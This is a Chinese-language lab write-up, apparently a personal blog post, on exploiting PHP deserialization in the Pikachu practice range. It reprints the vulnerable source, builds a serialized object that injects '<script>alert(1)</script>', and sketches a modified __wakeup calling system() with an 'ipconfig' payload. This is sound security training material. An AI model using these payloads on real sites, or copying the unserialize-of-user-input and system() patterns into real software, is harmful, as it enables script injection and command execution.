Pikachu-php反序列化
之前有篇文章详细介绍了php反序列化的原理,这里就不再多说
做一下这个靶场练练手
0x01 源码审计
目前我的理解是挖掘反序列化就需要知道该接口的类、对象、参数这些的详情,
以及魔术方法的情况。
这里的调用比较简单,看看源码
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?>
链子调用分析
这里的是S类,里面只有1个$test变量,魔术方法是__construct,这个方法是用于
在创建对象时候初始化对象,一般用于对变量赋初值的。
然后再看判断,简单来说就是我们传入成功的反序列化字符串s,就会执行到else里面对其进行打印输出。
if(!@$unser = unserialize($s)) 这个if语句我纠结了半天,没懂。
后来在大哥解释下 意思是把反序列化的结果1赋值给$unser,如果反序列化成功那么就是有值的也就会进入else,否则进入if下面语句 攻击失败!!
ps:at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。
0x02 构造链子
那么我们只需要构造正确的序列化字符串就行了:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "<script>alert(1)</script>"; $f->test=$payload; echo serialize($f); ?>
根据源码的S类创建一个对象$f,用该对象去调用类里面的$test,重写成我们的payload
然后序列化输出
得到序列化结果 我们注入,成功弹窗
payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
0x03 总结再思考
前面已经说过这里是通过else后的语句触发漏洞的,如果这里魔术方法是__wakeup,也就是在unserialize后自动调用的方法里面写到
function __wakeup(){ system($this->test); }
这里只是想模拟一下能命令执行的反序列化场景
这样就能在我们执行到if判断中执行unserialize时候触发,就会回调__wakeup,执行里面的sysytem函数
那么我们构造的代码应该是:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "ipconfig"; $f->test=$payload; echo serialize($f); ?>
序列化后的结果:
O:1:"S":1:{s:4:"test";s:8:"ipconfig";}
此时修改过后的php靶场被注入就命令执行了:
学到了一点点,还是不能着急, 安全之路 少就是多,慢就是快~~